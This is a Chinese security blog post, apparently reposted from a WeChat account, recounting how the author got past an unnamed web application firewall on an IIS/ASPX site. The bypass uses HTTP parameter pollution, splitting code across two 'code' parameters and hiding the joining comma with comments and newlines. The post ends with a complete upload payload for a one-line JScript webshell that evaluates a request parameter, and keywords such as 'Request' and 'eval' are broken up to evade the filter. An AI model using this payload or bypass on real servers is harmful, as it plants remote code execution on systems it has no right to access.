记一次iis+aspx环境下利用http参数污染绕过waf
2023-2-7 00:4:12 Author: 橘猫学安全(查看原文) 阅读量:37 收藏

环境介绍

Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.
waf:某不知名waf

漏洞点情况

新建模板处,可以直接写入内容到文件:

但是一写入正常的aspx语句就被拦截,连简单的输出语句都不行:

bypass过程

一开始也试过诸多绕过方法,包括各种常见编码、chunked编码等等,都不太行。
然后尝试了一下,看有没有http参数污染(两个code参数):

访问下生成的aspx文件:

可以看到确实是可以的,但是中间有个逗号,我们该怎么利用来写入aspx文件呢?
比如一个最简单的输出hello world:

<%@Page Language="C#"%> <% Response.Write("hello,world"); %>

之前我们通过测试知道<% Response.Write("hello,world"); %>这个会被waf拦截,删掉<%之后呢?

可以看到成功上传,那么思路就来了,将<%%>拆分就行,但是怎么让服务器忽略掉那个逗号呢?
自然是使用注释。
aspx是支持 “//”的注释方式的,然后我们需要使用换行,把我们的内容换到下一行避免被注释,于是:

看看生成的文件:

然后我们试着拆分前面被拦截的那个输出hello world的语句:

code=<%@Page Language="C#"%><% //&code=%0aResponse.Write("hello,world"); %>

成功生成:

Getshell

经过了好一番尝试,发现waf还过滤了Request等关键词,eval()可以上传,但是括号里面有内容比如eval(xxx)就不行。
参考了这篇文章里的注释符号:
https://www.cnblogs.com/xiaozi/p/7566795.html
将 eval(a)
拆分为

eval/*-/*-*/(a/*,*/)

Request就直接用加号进行连接,比如:"Req"+"uest"

最终结合hpp来利用,上传菜刀一句话的payload为:

code=<%@ Page Language = Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>

这个生成的文件内容应该是:

<%@ Page Language = Jscript %><%//,

var a="ev"+"al"+"(Reque"+"st.Item["c"+"o"],"+""uns"+"afe");"; eval/-/-/(a/,*/);%>

上传:

成功拿到一个菜刀shell,当然,菜刀因为waf的原因不能用:

eval都行了,还怕拿不到shell?

文章来源:乌云安全

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell
「 超详细 | 分享 」手把手教你如何进行内网渗透
神兵利器 | siusiu-渗透工具管理套件
一款功能全面的XSS扫描器
实战 | 一次利用哥斯拉马绕过宝塔waf
BurpCrypto: 万能网站密码爆破测试工具
快速筛选真实IP并整理为C段 -- 棱眼
自动探测端口顺便爆破工具t14m4t
渗透工具|无状态子域名爆破工具(1秒扫160万个子域)
查看更多精彩内容,还请关注橘猫学安全:
每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247503260&idx=1&sn=bcba8d137cbd9993fee2b44d219f412d&chksm=c04d4aa2f73ac3b46c6b25eafe933a895feb2bd4280087e9918edb82f4bbc911a5fbc0e723a3#rd
如有侵权请联系:admin#unsafe.sh